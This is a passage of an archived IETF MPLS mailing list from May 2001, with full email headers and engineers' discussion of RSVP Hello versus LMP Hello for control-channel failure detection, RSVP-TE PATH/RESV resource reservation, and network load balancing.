-Fong

>  
>  -- David
>  


From owner-mpls@UU.NET  Fri May 25 19:00:36 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA26809
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 19:00:36 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpf19633;
	Fri, 25 May 2001 22:59:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpf06601
	for mpls-outgoing; Fri, 25 May 2001 22:59:07 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqpf06590
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 22:58:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpf27299
	for <mpls@UU.NET>; Fri, 25 May 2001 22:58:46 GMT
Received: from pulsar.chromisys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 200-139.adsl6.netlojix.net [207.71.200.139] (may be forged))
	id QQkqpf00814
	for <mpls@UU.NET>; Fri, 25 May 2001 22:58:45 GMT
Received: by pulsar.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7YGSG5>; Fri, 25 May 2001 15:55:32 -0700
Message-ID: <C12BBE1C7A8F7344808CD8C2A345DFB821C5D0@pulsar.chromisys.com>
From: Jonathan Lang <jplang@calient.net>
To: "'Dimitrios Pendarakis'" <DPendarakis@tellium.com>,
        Jonathan Lang
	 <jplang@calient.net>,
        "'Fong Liaw'" <fliaw@zaffire.com>,
        "'suresh Katukam'"
	 <skatukam@cisco.com>, v.sharma@ieee.org
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 15:55:31 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Dimitris,
  The RSVP Hello Extension is intended to detect node failures and not
necessarily link (control channel) failures.  In particular, the tunnel
draft says, "It should be noted that node failure detection is not the same
as a link failure detection mechanism, particularly in the case of multiple
parallel unnumbered links."  What happens if you want redundant control
channels for control-channel resiliency?  I believe you would still want a
mechanism to detect control channel (link-layer) failures.

  In LMP, you can have multiple active control channels between a pair of
nodes.  You can configure control channels over shared Ethernet and over
SONET/SDH overhead, etc.  You send keep-alive Hellos over each control
channel.  If you so desire, you can send all signaling messages over the
Ethernet control channels.  You can also choose to send all remaining LMP
messages over the SONET/SDH-based control channels.  Keeping RSVP Hellos as
"optional" would be fine.  Making them mandatory doesn't seem like the right
solution.

Thanks,
Jonathan

P.S.  Should we move this discussion on the OIF list??

> -----Original Message-----
> From: Dimitrios Pendarakis [mailto:DPendarakis@tellium.com]
> Sent: Friday, May 25, 2001 3:16 PM
> To: 'Jonathan Lang'; 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
> Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> Subject: RE: Last call - RSVP problems
> 
> 
> Hi Jonathan,
> 
> One point to consider is that the signaling control 
> channel might be realized over a different link layer 
> than LMP. For example, LMP might be running in-fiber
> over SONET/SDH overhead bytes, while RSVP is running 
> over an out-of-band network such a shared Ethernet.
> RSVP Hello allows independent detection of signaling 
> channel failure, so it's a useful option to keep.
> 
> Thanks,
> Dimitris
> 
> Dimitris Pendarakis
> Tellium, Inc.
> 
> 
> > -----Original Message-----
> > From: Jonathan Lang [mailto:jplang@calient.net]
> > Sent: Friday, May 25, 2001 5:30 PM
> > To: 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
> > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > Subject: RE: Last call - RSVP problems
> > 
> > 
> > Fong,
> > 
> > 
> > <snip>
> > > Same as (2), any proposals that remove the refresh mechanism 
> > > is going to be difficult to prove that all cases are covered.
> > > 
> > > Instead, we (will) recommend the following in OIF UNI document:
> > >    
> > >    Use RSVP Hello to detect control channel failure.
> > Why wouldn't you use the LMP Hello to detect control channel 
> > failure?  This
> > is exactly what it is designed for.  From 
> > draft-ietf-mpls-lsp-tunnel-08.txt,
> > 
> >   "This (RSVP Hello) mechanism is intended to be used when 
> > notification of
> > link layer
> >    failures is not available and unnumbered links are not 
> > used, or when
> >    the failure detection mechanisms provided by the link 
> layer are not
> >    sufficient for timely node failure detection."
> >  
> > >    If a control channel failure is detected, LSPs states 
> > >    are maintained as if a node continues to receive 
> > >    RSVP refresh message from the failed control channel.
> > >    The recommended Hello timer will be in second range,
> > >    instead of ms range specified in RSVP-TE draft.  
> > > 
> > >    If a control channel failed permanently, manual intervention 
> > >    may be required. This is to be studied.
> > > 
> > > p.s The text is currently being drafted as we type.
> > 
> 


From owner-mpls@UU.NET  Fri May 25 19:23:12 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA27129
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 19:23:12 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqph10961;
	Fri, 25 May 2001 23:21:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkqph28483
	for mpls-outgoing; Fri, 25 May 2001 23:20:53 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqph28469
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 23:20:36 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqph08947
	for <mpls@UU.NET>; Fri, 25 May 2001 23:19:22 GMT
Received: from hypnos.cps.intel.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hypnos.cps.intel.com [192.198.165.17])
	id QQkqph05555
	for <mpls@UU.NET>; Fri, 25 May 2001 23:19:21 GMT
Received: from SMTP (fmsmsxvs01-1.fm.intel.com [132.233.42.201])
	by hypnos.cps.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.39 2001/05/18 00:47:02 root Exp $) with SMTP id XAA26040
	for <mpls@UU.NET>; Fri, 25 May 2001 23:19:20 GMT
Received: from fmsmsx27.FM.INTEL.COM ([132.233.48.27]) by 132.233.48.201
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Fri, 25 May 2001 23:19:20 0000 (GMT)
Received: by fmsmsx27.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <LTSTF8X1>; Fri, 25 May 2001 16:19:19 -0700
Message-ID: <08DA9F9D7783D311AC430090276100E1053D42DB@fmsmsx87.fm.intel.com>
From: "Parmar, Pankaj N" <pankaj.n.parmar@intel.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: RSVP-TE question
Date: Fri, 25 May 2001 16:19:14 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I need some clarification on the role of PATH and RESV messages while
setting up an LSP with QoS requirements. The draft talks about use of PATH
messages for verification of available bandwidth at a particular priority
and possible pre-emption of lower priority reservations. Could the PATH
message be used to hold QoS resources as well ? If yes, then what role does
RESV message play (in regards to setting up QoS) ? If no, when do QoS
resources actually get reserved ?

Thanks,

-Pankaj



From owner-mpls@UU.NET  Fri May 25 19:37:58 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA27273
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 19:37:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpi20602;
	Fri, 25 May 2001 23:36:27 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpi29530
	for mpls-outgoing; Fri, 25 May 2001 23:35:54 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqpi29522
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 23:35:36 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpi17185
	for <mpls@UU.NET>; Fri, 25 May 2001 23:34:28 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f83.law11.hotmail.com [64.4.17.83])
	id QQkqpi18983
	for <mpls@UU.NET>; Fri, 25 May 2001 23:34:28 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 25 May 2001 16:34:27 -0700
Received: from 65.112.106.16 by lw11fd.law11.hotmail.msn.com with HTTP;	Fri, 25 May 2001 23:34:26 GMT
X-Originating-IP: [65.112.106.16]
From: "Irfan Lateef" <irfanlateef@hotmail.com>
To: DPendarakis@tellium.com, jplang@calient.net, fliaw@zaffire.com,
        skatukam@cisco.com, v.sharma@ieee.org
Cc: jyates@research.att.com, mpls@UU.NET, ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 19:34:26 -0400
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F83GzrLCCtgx8VUkRac00013a3b@hotmail.com>
X-OriginalArrivalTime: 25 May 2001 23:34:27.0200 (UTC) FILETIME=[3CE4C800:01C0E573]
Sender: owner-mpls@UU.NET
Precedence: bulk

Dimitrios,

You have brought up a good point.
Is there any ongoing effort to standardize
the signalling mechanism on the optical side.
Namely in-band SONET-DCC OH bytes vs out-of-band
Ehternet vs in-band IP-over-SONET data plane etc.

Irfan Lateef

>From: Dimitrios Pendarakis <DPendarakis@tellium.com>
>To: "'Jonathan Lang'" <jplang@calient.net>, "'Fong Liaw'" 
><fliaw@zaffire.com>,   "'suresh Katukam'" <skatukam@cisco.com>, 
>v.sharma@ieee.org
>CC: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,   
>ccamp@ops.ietf.org
>Subject: RE: Last call - RSVP problems
>Date: Fri, 25 May 2001 18:16:12 -0400
>
>Hi Jonathan,
>
>One point to consider is that the signaling control
>channel might be realized over a different link layer
>than LMP. For example, LMP might be running in-fiber
>over SONET/SDH overhead bytes, while RSVP is running
>over an out-of-band network such a shared Ethernet.
>RSVP Hello allows independent detection of signaling
>channel failure, so it's a useful option to keep.
>
>Thanks,
>Dimitris
>
>Dimitris Pendarakis
>Tellium, Inc.
>
>
> > -----Original Message-----
> > From: Jonathan Lang [mailto:jplang@calient.net]
> > Sent: Friday, May 25, 2001 5:30 PM
> > To: 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
> > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > Subject: RE: Last call - RSVP problems
> >
> >
> > Fong,
> >
> >
> > <snip>
> > > Same as (2), any proposals that remove the refresh mechanism
> > > is going to be difficult to prove that all cases are covered.
> > >
> > > Instead, we (will) recommend the following in OIF UNI document:
> > >
> > >    Use RSVP Hello to detect control channel failure.
> > Why wouldn't you use the LMP Hello to detect control channel
> > failure?  This
> > is exactly what it is designed for.  From
> > draft-ietf-mpls-lsp-tunnel-08.txt,
> >
> >   "This (RSVP Hello) mechanism is intended to be used when
> > notification of
> > link layer
> >    failures is not available and unnumbered links are not
> > used, or when
> >    the failure detection mechanisms provided by the link layer are not
> >    sufficient for timely node failure detection."
> >
> > >    If a control channel failure is detected, LSPs states
> > >    are maintained as if a node continues to receive
> > >    RSVP refresh message from the failed control channel.
> > >    The recommended Hello timer will be in second range,
> > >    instead of ms range specified in RSVP-TE draft.
> > >
> > >    If a control channel failed permanently, manual intervention
> > >    may be required. This is to be studied.
> > >
> > > p.s The text is currently being drafted as we type.
> >
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com



From owner-mpls@UU.NET  Fri May 25 20:43:23 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA28031
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 20:43:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpm12334;
	Sat, 26 May 2001 00:42:02 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpm24409
	for mpls-outgoing; Sat, 26 May 2001 00:41:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqpm24400
	for <mpls@mail-control.mail.uu.net>; Sat, 26 May 2001 00:41:19 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqpm00701
	for <mpls@UU.NET>; Sat, 26 May 2001 00:41:04 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkqpm11308
	for <mpls@UU.NET>; Sat, 26 May 2001 00:41:04 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4Q0chi15517;
	Fri, 25 May 2001 20:38:43 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXXJ1M>; Fri, 25 May 2001 20:42:40 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D0220404019F68D6@mail1.tellium.com>
From: Dimitrios Pendarakis <DPendarakis@tellium.com>
To: "'Jonathan Lang'" <jplang@calient.net>,
        Dimitrios Pendarakis
	 <DPendarakis@tellium.com>,
        "'Fong Liaw'" <fliaw@zaffire.com>,
        "'suresh Katukam'" <skatukam@cisco.com>, v.sharma@ieee.org
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 20:42:29 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Jonathan,

What needs to be detected here is the inability to send and 
receive signaling messages to and from your RSVP peer. In this 
respect, using RSVP Hello is a more accurate mechanism for 
detecting failures since it is part of the RSVP protocol and 
independent of the link layer used to realize the control 
channel. As you point out, if you prefer redundant control 
channels for resiliency, and want to rely on LMP only, you have
to correlate all LMP detected failures in order to declare a 
control channel failure. With RSVP Hello you would rely on a 
single set of event(s) to detect the failure.
To go even further, what if all your control channels are working
fine, but your RSVP daemon has crashed, for whatever reason.
LMP hellos will keep going across but RSVP messages will not...

All this points to the (certainly non-trivial) problem of failure 
detection and correlation at different layers. I am not trying to
say that RSVP Hello is the perfect or only mechanism we should rely 
on, but it certainly has a place in addressing the problem.

Thanks,
Dimitris

PS. Hopefully we are not too far apart so we might not have
to keep the discussion going for too long :-)
In any case I believe it has some relevance here as well.


> -----Original Message-----
> From: Jonathan Lang [mailto:jplang@calient.net]
> Sent: Friday, May 25, 2001 6:56 PM
> To: 'Dimitrios Pendarakis'; Jonathan Lang; 'Fong Liaw'; 'suresh
> Katukam'; v.sharma@ieee.org
> Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> Subject: RE: Last call - RSVP problems
> 
> 
> Dimitris,
>   The RSVP Hello Extension is intended to detect node failures and not
> necessarily link (control channel) failures.  In particular, 
> the tunnel
> draft says, "It should be noted that node failure detection 
> is not the same
> as a link failure detection mechanism, particularly in the 
> case of multiple
> parallel unnumbered links."  What happens if you want 
> redundant control
> channels for control-channel resiliency?  I believe you would 
> still want a
> mechanism to detect control channel (link-layer) failures.
> 
>   In LMP, you can have multiple active control channels 
> between a pair of
> nodes.  You can configure control channels over shared 
> Ethernet and over
> SONET/SDH overhead, etc.  You send keep-alive Hellos over each control
> channel.  If you so desire, you can send all signaling 
> messages over the
> Ethernet control channels.  You can also choose to send all 
> remaining LMP
> messages over the SONET/SDH-based control channels.  Keeping 
> RSVP Hellos as
> "optional" would be fine.  Making them mandatory doesn't seem 
> like the right
> solution.
> 
> Thanks,
> Jonathan
> 
> P.S.  Should we move this discussion on the OIF list??
> 
> > -----Original Message-----
> > From: Dimitrios Pendarakis [mailto:DPendarakis@tellium.com]
> > Sent: Friday, May 25, 2001 3:16 PM
> > To: 'Jonathan Lang'; 'Fong Liaw'; 'suresh Katukam'; 
> v.sharma@ieee.org
> > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > Subject: RE: Last call - RSVP problems
> > 
> > 
> > Hi Jonathan,
> > 
> > One point to consider is that the signaling control 
> > channel might be realized over a different link layer 
> > than LMP. For example, LMP might be running in-fiber
> > over SONET/SDH overhead bytes, while RSVP is running 
> > over an out-of-band network such a shared Ethernet.
> > RSVP Hello allows independent detection of signaling 
> > channel failure, so it's a useful option to keep.
> > 
> > Thanks,
> > Dimitris
> > 
> > Dimitris Pendarakis
> > Tellium, Inc.
> > 
> > 
> > > -----Original Message-----
> > > From: Jonathan Lang [mailto:jplang@calient.net]
> > > Sent: Friday, May 25, 2001 5:30 PM
> > > To: 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
> > > Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> > > Subject: RE: Last call - RSVP problems
> > > 
> > > 
> > > Fong,
> > > 
> > > 
> > > <snip>
> > > > Same as (2), any proposals that remove the refresh mechanism 
> > > > is going to be difficult to prove that all cases are covered.
> > > > 
> > > > Instead, we (will) recommend the following in OIF UNI document:
> > > >    
> > > >    Use RSVP Hello to detect control channel failure.
> > > Why wouldn't you use the LMP Hello to detect control channel 
> > > failure?  This
> > > is exactly what it is designed for.  From 
> > > draft-ietf-mpls-lsp-tunnel-08.txt,
> > > 
> > >   "This (RSVP Hello) mechanism is intended to be used when 
> > > notification of
> > > link layer
> > >    failures is not available and unnumbered links are not 
> > > used, or when
> > >    the failure detection mechanisms provided by the link 
> > layer are not
> > >    sufficient for timely node failure detection."
> > >  
> > > >    If a control channel failure is detected, LSPs states 
> > > >    are maintained as if a node continues to receive 
> > > >    RSVP refresh message from the failed control channel.
> > > >    The recommended Hello timer will be in second range,
> > > >    instead of ms range specified in RSVP-TE draft.  
> > > > 
> > > >    If a control channel failed permanently, manual intervention 
> > > >    may be required. This is to be studied.
> > > > 
> > > > p.s The text is currently being drafted as we type.
> > > 
> > 
> 


From owner-mpls@UU.NET  Sat May 26 05:30:47 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA17447
	for <mpls-archive@lists.ietf.org>; Sat, 26 May 2001 05:30:46 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqqv02888;
	Sat, 26 May 2001 09:29:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkqqv01336
	for mpls-outgoing; Sat, 26 May 2001 09:29:09 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqqv01328
	for <mpls@mail-control.mail.uu.net>; Sat, 26 May 2001 09:29:04 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqqv15759
	for <mpls@UU.NET>; Sat, 26 May 2001 09:29:02 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkqqv19784
	for <mpls@UU.NET>; Sat, 26 May 2001 09:29:00 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <LQ032K03>; Sat, 26 May 2001 14:58:26 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D726EC81@BRAHMA01>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: mpls@UU.NET, "Parmar, Pankaj N" <pankaj.n.parmar@intel.com>
Subject: RE: RSVP-TE question
Date: Sat, 26 May 2001 14:58:22 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

I think, while propagating PATH messages RSVP-TE ensures the required
resources will be available..thats why it queries at each node if required
resources are available or not. If not available it send back the PATHERR
with error code "admission control failure" and error value "02", while
actual resources are reserved at the time when node receives RESV message.

Khuzema. 


> ----------
> From: 	Parmar, Pankaj N
> Sent: 	Saturday, May 26, 2001 4:49 AM
> To: 	'mpls@UU.NET'
> Subject: 	RSVP-TE question
> 
> I need some clarification on the role of PATH and RESV messages while
> setting up an LSP with QoS requirements. The draft talks about use of PATH
> messages for verification of available bandwidth at a particular priority
> and possible pre-emption of lower priority reservations. Could the PATH
> message be used to hold QoS resources as well ? If yes, then what role
> does
> RESV message play (in regards to setting up QoS) ? If no, when do QoS
> resources actually get reserved ?
> 
> Thanks,
> 
> -Pankaj
> 


From owner-mpls@UU.NET  Sat May 26 14:22:44 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20537
	for <mpls-archive@lists.ietf.org>; Sat, 26 May 2001 14:22:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqse14418;
	Sat, 26 May 2001 18:14:53 GMT
Received: by mail-control.mail.uu.net 
	id QQkqse08151
	for mpls-outgoing; Sat, 26 May 2001 18:14:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqse08143
	for <mpls@mail-control.mail.uu.net>; Sat, 26 May 2001 18:14:14 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqse04055
	for <mpls@uu.net>; Sat, 26 May 2001 18:14:05 GMT
Received: from web12105.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web12105.mail.yahoo.com [216.136.172.25])
	id QQkqse13749
	for <mpls@uu.net>; Sat, 26 May 2001 18:14:05 GMT
Message-ID: <20010526181405.76234.qmail@web12105.mail.yahoo.com>
Received: from [24.19.217.229] by web12105.mail.yahoo.com; Sat, 26 May 2001 19:14:05 BST
Date: Sat, 26 May 2001 19:14:05 +0100 (BST)
From: =?iso-8859-1?q?Navin=20Kumar=20Agrawal?= <navin_a1@yahoo.com>
Subject: Re:RSVP-TE question
To: mpls@UU.NET
In-Reply-To: <854f9628883e69c7199f1388468fcb223b0feef3@force10networks.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

> I need some clarification on the role of PATH and
> RESV messages while
> setting up an LSP with QoS requirements. The draft
> talks about use of PATH
> messages for verification of available bandwidth at
> a particular priority
> and possible pre-emption of lower priority
> reservations. Could the PATH
> message be used to hold QoS resources as well ? If
> yes, then what role does
> RESV message play (in regards to setting up QoS) ?
> If no, when do QoS
> resources actually get reserved ?

Answer is no, if you are asking a question. Whereas, 
I would agree w/ you, if this was a suggestion.

NKA




From owner-mpls@UU.NET  Sun May 27 11:27:23 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10654
	for <mpls-archive@lists.ietf.org>; Sun, 27 May 2001 11:27:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqvl01014;
	Sun, 27 May 2001 15:26:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkqvl08077
	for mpls-outgoing; Sun, 27 May 2001 15:25:01 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqvl08051
	for <mpls@mail-control.mail.uu.net>; Sun, 27 May 2001 15:24:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqvl25997
	for <mpls@UU.NET>; Sun, 27 May 2001 15:24:33 GMT
Received: from ext1.ics.forth.gr by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.ics.forth.gr [139.91.1.2])
	id QQkqvl18681
	for <mpls@UU.NET>; Sun, 27 May 2001 15:24:32 GMT
Received: from ismene.ics.forth.gr (mailhost.ics.forth.gr [139.91.157.51])
	by ext1.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.5-GATE) with ESMTP id SAA15751;
	Sun, 27 May 2001 18:24:23 +0300 (EET DST)
Received: from sappho.ics.forth.gr (sappho-lane.ics.forth.gr [139.91.157.50]) by ismene.ics.forth.gr (8.8.8/ICS-FORTH/V3) with ESMTP id SAA04680; Sun, 27 May 2001 18:20:00 +0300 (EET DST)
Posted-Date: Sun, 27 May 2001 18:20:00 +0300 (EET DST)
Organization:   
Received: from localhost (tziou@localhost)
	by sappho.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.2C-INTNULL) with ESMTP id SAA13861;
	Sun, 27 May 2001 18:18:50 +0300 (EEST)
X-Authentication-Warning: sappho.ics.forth.gr: tziou owned process doing -bs
Date: Sun, 27 May 2001 18:18:50 +0300 (EEST)
From: Chrysostomos Tziouvaras <tziou@ics.forth.gr>
To: mpls@UU.NET, ip-optical@lists.bell-labs.com
Subject: Load balancing
Message-ID: <Pine.GSO.4.10.10105271811370.13836-100000@sappho.ics.forth.gr>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear all,
Going through the sites of some manufacturers I noticed that most of them 
advertise that their products guarantee a balanced network. But I
donnot understand why a provider(buyer) should be interested to keep its
network balanced. I think that his goal is to maximize his profit.
So what's the importance of load balancing in networks from the
provider's perspective?

Regards
Chrysostomos



From owner-mpls@UU.NET  Sun May 27 13:41:22 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11133
	for <mpls-archive@lists.ietf.org>; Sun, 27 May 2001 13:41:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqvu29181;
	Sun, 27 May 2001 17:40:24 GMT
Received: by mail-control.mail.uu.net 
	id QQkqvu27702
	for mpls-outgoing; Sun, 27 May 2001 17:39:54 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqvu27685
	for <mpls@mail-control.mail.uu.net>; Sun, 27 May 2001 17:39:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqvu17294
	for <mpls@UU.NET>; Sun, 27 May 2001 17:38:49 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkqvu16825
	for <mpls@UU.NET>; Sun, 27 May 2001 17:38:45 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4RHaPi02331;
	Sun, 27 May 2001 13:36:25 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXXK6L>; Sun, 27 May 2001 13:40:22 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D022040401982257@mail1.tellium.com>
From: Bala Rajagopalan <BRaja@tellium.com>
To: "'C. R. Kalmanek'" <crk@research.att.com>,
        Bala Rajagopalan
	 <BRaja@tellium.com>
Cc: ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Sun, 27 May 2001 13:40:21 -0400
MIME-Version: 1.0
